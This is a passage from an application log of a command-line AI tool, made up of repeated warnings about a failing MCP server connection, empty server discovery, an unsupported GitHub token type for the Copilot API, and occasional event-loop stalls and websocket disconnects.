discovery thread 2026-09-12 21:56:08,809 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-12 21:56:15,726 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 22:01:23,562 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 22:06:31,023 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 22:11:38,910 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 22:16:47,369 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 22:21:54,564 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 22:27:01,581 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 22:27:51,621 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-12 22:27:51,643 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-12 22:27:51,657 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-12 22:27:51,682 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-12 22:27:59,097 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 22:33:05,966 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 22:38:13,782 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 22:43:20,309 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 22:48:28,133 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 22:53:36,196 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 22:58:43,506 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 23:03:51,556 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 23:08:59,068 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 23:14:07,473 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 23:18:43,520 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-12 23:18:43,521 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-12 23:18:46,285 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-12 23:18:46,316 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-12 23:18:46,342 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-12 23:18:46,410 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-12 23:18:54,420 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 23:24:00,847 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 23:29:09,306 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 23:34:17,227 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 23:37:03,685 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-12 23:37:03,707 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-12 23:37:03,736 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-12 23:37:03,774 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-12 23:37:11,790 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 23:42:19,099 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 23:47:27,587 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 23:52:34,654 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-12 23:57:42,906 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-13 00:02:50,964 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-13 00:07:59,277 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-13 00:13:05,874 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-13 00:18:14,364 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-13 00:23:22,071 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-13 00:28:29,777 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-13 00:33:37,444 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-13 00:38:44,490 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-13 00:38:57,706 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-13 00:38:57,706 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-13 00:38:58,221 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-13 00:38:58,222 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-13 00:38:59,555 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-13 00:38:59,634 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-13 00:38:59,661 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-13 00:39:01,861 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-13 00:39:09,279 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-13 00:44:16,780 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-13 00:49:24,943 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-13 00:54:32,316 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-13 00:59:39,286 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-13 01:04:45,794 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-13 01:09:53,186 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-13 01:15:01,990 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-13 01:20:09,923 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-13 01:25:17,686 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-13 01:30:17,444 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-13 01:30:17,484 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-13 01:30:17,563 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-13 01:30:17,656 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-13 01:30:25,585 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-13 01:35:34,097 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-13 01:40:41,833 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-13 01:45:00,717 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-13 01:45:00,717 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-13 01:45:04,125 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-13 01:45:04,393 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-13 01:45:04,663 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-13 01:45:05,215 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-13 01:45:11,648 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-13 01:50:19,172 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-13 01:55:26,604 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-13 02:00:34,561 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-13 02:05:42,690 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-13 02:10:49,116 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-13 02:15:56,964 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-13 02:21:04,979 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-13 02:26:12,397 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-13 02:31:20,045 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-13 02:36:27,564 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-13 02:41:34,509 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-13 02:46:42,004 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-13 02:48:17,674 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-13 02:48:17,674 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-13 02:51:49,153 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-13 02:56:56,104 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-13 03:02:03,511 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-13 03:07:10,424 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-13 03:07:14,806 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-13 03:07:14,833 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-13 03:07:14,849 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-13 03:07:14,873 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-13 03:07:22,110 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-13 03:12:28,863 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-13 03:17:37,200 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-13 03:17:55,166 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-13 03:17:55,203 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-13 03:17:55,220 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-13 03:17:55,242 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-13 03:18:02,916 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-13 03:20:28,826 WARNING tui_gateway.ws: ws write slow (loop stalled >10.0s) peer=127.0.0.1:40226 — frame left in flight 2026-09-13 03:20:28,853 WARNING hermes_cli.web_server: event loop stalled 49.1s (GIL pressure suspected) 2026-09-13 03:20:29,399 WARNING tui_gateway.ws: ws send failed peer=127.0.0.1:48770 error_type=WebSocketDisconnect error= 2026-09-13 03:20:29,399 ERROR tui_gateway.ws: ws ready frame send failed peer=127.0.0.1:48770 2026-09-13 03:20:29,452 WARNING tui_gateway.ws: ws send failed peer=127.0.0.1:45402 error_type=WebSocketDisconnect error= 2026-09-13 03:20:29,452 ERROR tui_gateway.ws: ws ready frame send failed peer=127.0.0.1:45402 2026-09-13 03:23:10,611 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-13 03:28:18,765 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-13 03:33:25,050 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-13 03:38:32,760 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-13 03:43:39,941 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-13 03:48:47,752 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-13 03:49:35,320 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-13 03:49:35,320 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-13 03:49:39,021 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-13 03:49:39,071 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-13 03:49:39,092 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-13 03:49:39,206 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-13 03:49:45,998 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-13 03:54:53,907 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-13 04:00:01,681 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-13 04:05:10,366 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-13 04:09:44,674 WARNING hermes_cli.web_server: event loop stalled 8.2s (GIL pressure suspected) 2026-09-13 04:10:18,977 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-13 04:15:26,487 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-13 04:20:35,372 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-13 04:25:43,636 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-13 04:30:50,828 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-13 04:35:58,170 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed